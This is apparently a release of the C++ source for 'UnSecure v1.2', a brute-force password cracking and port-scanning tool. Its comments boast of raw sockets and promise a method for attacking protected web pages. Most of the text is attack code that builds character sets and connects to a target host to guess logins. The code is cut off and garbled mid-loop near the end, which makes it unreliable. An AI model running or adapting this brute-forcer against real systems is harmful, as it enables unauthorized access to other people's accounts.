UnSecure v1.2 "the part that does the fun work" code. by Utah, Guns, and Paine. --------------------------|CUT HERE|----------------------------------- //This is the accual C++ code for the brute force and ports algorithm. //It was written in VC++ 5 // //At the end I explain how to build in an attack for protected web pages. // //There is odd code in there, for CString converstions, but it's //basically a direct rip of the brute force, and port code : // //We use RAW sockets... it's alot faster than going through win API // //Note : this function was threaded so there is no accual GUI interaction //variables starting with a g_ are global, and therefore accessable by //threads and the GUI // //Have fun! void brute_and_port_stuff_decently_optimized() { //Was brute force selected if(brute_flag==TRUE) { //The next if statments look for options being checked in the GUI //We have an array, alphabet, which designates what characters to use. //Using the ASCII charset, we loop through and add the chars. //Alphamax points to the end of the charset in the array. if(brute_special==TRUE) { for(x=33;x<127;) { alphabet[alphamax]=x; x++; alphamax++; } } else { if(brute_uaz==TRUE) { for(x=65;x<91;) { alphabet[alphamax]=x; x++; alphamax++; } } if(brute_laz==TRUE) { for(x=97;x<123;) { alphabet[alphamax]=x; x++; alphamax++; } } if(brute_09==TRUE) { for(x=48;x<58;) { alphabet[alphamax]=x; x++; alphamax++; } } } if(brute_custom==TRUE) { alphamax=0; g_custom2=g_custom+"<<"; //We have to do odd things when converting using the CString type. for(count2=0;g_custom2[count2]!='<';) { alphabet[count2]=g_custom2[count2]; count2++; } alphamax=count2; } g_pause=0; sc2.Create(); g_status="Attempting to connect..."; cnt=sc2.Connect(g_ip, g_port); if(cnt==0) { g_status="No connection could be established"; goto stopit; } g_status="A connection was established"; sc2.Receive(&rcv, sizeof(rcv), 0); int y; for(y=0;y<20;) { ch[y]=-1; y++; } ch[0]=-1; for(x=1;x4) if(count2-5